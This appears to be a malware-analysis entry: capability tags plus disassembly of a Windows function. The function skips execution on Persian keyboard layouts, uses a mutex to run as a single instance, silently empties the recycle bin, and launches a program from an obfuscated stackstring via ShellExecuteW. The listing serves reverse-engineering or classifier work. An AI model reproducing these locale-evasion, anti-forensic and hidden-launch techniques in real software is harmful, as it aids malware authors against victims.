Function at 0x140042d90
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Create process on windows
Empty recycle bin quietly
Empty the recycle bin
Get keyboard layout
Terminate process

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
mov qword [rbp - 0x29], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x140124190]
xor rax, rsp
mov qword [rbp + 0x4f], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
movsxd rbx, eax
mov eax, 8
mul rbx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14007332c
mov rdi, rax
mov qword [rbp - 1], rax
mov qword [rbp + 0x47], rax
mov rdx, rax
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
xor r14d, r14d
test eax, eax
je 0x1400228b8
test ebx, ebx
jle 0x1400228b8
mov eax, r14d
mov ecx, 0x429
cmp word [rdi + rax*8], cx
je 0x140022982
inc rax
cmp rax, rbx
jl 0x1400228a6
test rdi, rdi
je 0x1400228ca
mov edx, 8
mov rcx, rdi
call fcn.140072f50
call fcn.1400453c0
xor eax, eax
mov qword [rbp + 0xf], rax
movdqa xmm0, xmmword [0x1401057b0]
movdqu xmmword [rbp - 0x39], xmm0
mov byte [rbp - 0x49], al
lea r8d, [rax + 0x24]
lea rdx, [0x140104300]
lea rcx, [rbp - 0x49]
call fcn.140022d40
lea r8, [rbp - 0x49]
cmp qword [rbp - 0x31], 0x10
cmovae r8, qword [rbp - 0x49]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rbp + 7], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
setne bl
mov byte [rbp + 0xf], bl
mov rdx, qword [rbp - 0x31]
cmp rdx, 0x10
jb 0x140022964
inc rdx
mov rcx, qword [rbp - 0x49]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002295f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140022c6a
call fcn.140072f50
movdqa xmm0, xmmword [0x1401057b0]
movdqu xmmword [rbp - 0x39], xmm0
mov byte [rbp - 0x49], 0
test bl, bl
jne 0x14002298e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140025f00
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 7]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
lea rcx, [rbp + 0x17]
call fcn.14003c0d0
nop
mov rdi, qword [rbp + 0x1f]
mov rbx, qword [rbp + 0x17]
cmp rbx, rdi
je 0x1400229c9
mov rcx, rbx
call fcn.1400450d0
add rbx, 0x20
cmp rbx, rdi
jne 0x1400229b8
lea rcx, [rbp + 0x17]
call fcn.140031320
call fcn.140045760
call fcn.140049f00
call fcn.14004a720
call fcn.1400473e0
lea rcx, [rbp + 0x2f]
call fcn.14003c7b0
mov rdi, qword [rbp + 0x37]
mov rbx, qword [rbp + 0x2f]
cmp rbx, rdi
je 0x140022a11
nop dword [rax]
mov rcx, rbx
call fcn.1400479c0
add rbx, 0x20
cmp rbx, rdi
jne 0x140022a00
lea rcx, [rbp + 0x2f]
call fcn.140031320
call fcn.140030240
mov rbx, qword [0x1401316a0]
test rbx, rbx
je 0x140022a40
mov rcx, rbx
call fcn.1400258a0
mov edx, 0xe0
mov rcx, rbx
call fcn.140072f50
mov rbx, qword [0x1401316a8]
test rbx, rbx
je 0x140022ae0
mov rcx, rbx
call fcn.140024950
mov rax, qword [rbx + 8]
test rax, rax
je 0x140022ac4
mov rdx, qword [rbx + 0x10]
mov rcx, rax
cmp rax, rdx
je 0x140022a83
nop dword [rax]
cmp dword [rax + 8], 0
jne 0x140022c70
add rax, 0x10
cmp rax, rdx
jne 0x140022a70
mov rdx, qword [rbx + 0x18]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
cmp rdx, 0x1000
jb 0x140022ab3
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140022c5e
mov rcx, r8
call fcn.140072f50
mov qword [rbx + 8], r14
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], r14
mov rcx, qword [rbx]
test rcx, rcx
je 0x140022ad3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov edx, 0x38
mov rcx, rbx
call fcn.140072f50
call fcn.140046200
call fcn.140048c40
call fcn.140047c30
call fcn.14004a320
call fcn.14004aeb0
mov ebx, r14d
nop dword [rax]
lea rcx, [rbp - 0x21]
call fcn.140037350
mov r8, rax
cmp qword [rax + 0x18], 8
jb 0x140022b16
mov r8, qword [rax]
mov byte [rbp - 0x59], 0
mov byte [rbp - 0x58], 0x13
mov byte [rbp - 0x57], 0x48
mov byte [rbp - 0x56], 0x3e
mov byte [rbp - 0x55], 0x48
mov byte [rbp - 0x54], 0x61
mov byte [rbp - 0x53], 0x48
mov byte [rbp - 0x52], 0x67
mov byte [rbp - 0x51], 0x48
mov byte [rbp - 0x50], 0x48
mov byte [rbp - 0x4f], 0x48
movzx eax, byte [rbp - 0x58]
movzx eax, byte [rbp - 0x59]
test al, al
jne 0x140022bb1
mov r9, r14
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rbp + r9 - 0x58]
mov eax, 0x48
sub eax, ecx
imul ecx, eax, 0x3e
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r9 - 0x58], cl
inc r9
cmp r9, 0xa
jb 0x140022b60
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rdx, [rbp - 0x58]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp - 9]
cmp rdx, 8
jb 0x140022c09
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022c04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140022c64
call fcn.140072f50
inc ebx
cmp ebx, 1
jl 0x140022b00
call fcn.14004c400
call fcn.14004b240
nop
mov rcx, qword [rbp + 7]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rbp + 7]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140072ef0
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1400a01c4
nop
call fcn.1400a01c4
int3
call fcn.1400a01c4
nop
call fcn.1400a291c
int3
jmp 0x140022820